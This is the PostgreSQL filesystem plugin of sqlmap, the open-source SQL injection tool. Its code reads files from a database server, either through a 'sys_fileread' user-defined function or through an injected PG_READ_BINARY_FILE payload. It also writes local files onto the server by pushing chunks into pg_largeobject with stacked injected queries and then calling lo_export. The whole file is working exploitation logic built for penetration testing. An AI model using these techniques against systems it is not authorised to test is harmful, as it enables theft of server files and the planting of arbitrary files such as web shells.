#!/usr/bin/env python

"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import randomInt
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import LOBLKSIZE
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem

class Filesystem(GenericFilesystem):
    def __init__(self):
        self.oid = None
        self.page = None

        GenericFilesystem.__init__(self)

    def stackedReadFile(self, remoteFile):
        if not kb.bruteMode:
            infoMsg = "fetching file: '%s'" % remoteFile
            logger.info(infoMsg)

        self.initEnv()

        return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")

    def nonStackedReadFile(self, remoteFile):
        if not kb.bruteMode:
            infoMsg = "fetching file: '%s'" % remoteFile
            logger.info(infoMsg)

        # a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read
        # files in-band via pg_read_binary_file(), so file reading does not require stacked queries
        return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)

    def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
        errMsg = "PostgreSQL does not support file upload with UNION "
        errMsg += "query SQL injection technique"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
        localFileSize = os.path.getsize(localFile)
        content = open(localFile, "rb").read()

        self.oid = randomInt()
        self.page = 0

        self.createSupportTbl(self.fileTblName, self.tblField, "text")

        debugMsg = "create a new OID for a large object, it implicitly "
        debugMsg += "adds an entry in the large objects system table"
        logger.debug(debugMsg)

        # References:
        # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
        # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
        inject.goStacked("SELECT lo_create(%d)" % self.oid)
        inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)

        for offset in xrange(0, localFileSize, LOBLKSIZE):
            fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
            sqlQueries = self.fileToSqlQueries(fcEncodedList)

            for sqlQuery in sqlQueries:
                inject.goStacked(sqlQuery)

            inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT ARRAY_TO_STRING(ARRAY_AGG(%s), '') FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
            inject.goStacked("DELETE FROM %s" % self.fileTblName)

            self.page += 1

        debugMsg = "exporting the OID %s file content to " % fileType
        debugMsg += "file '%s'" % remoteFile
        logger.debug(debugMsg)

        inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)

        written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)

        return written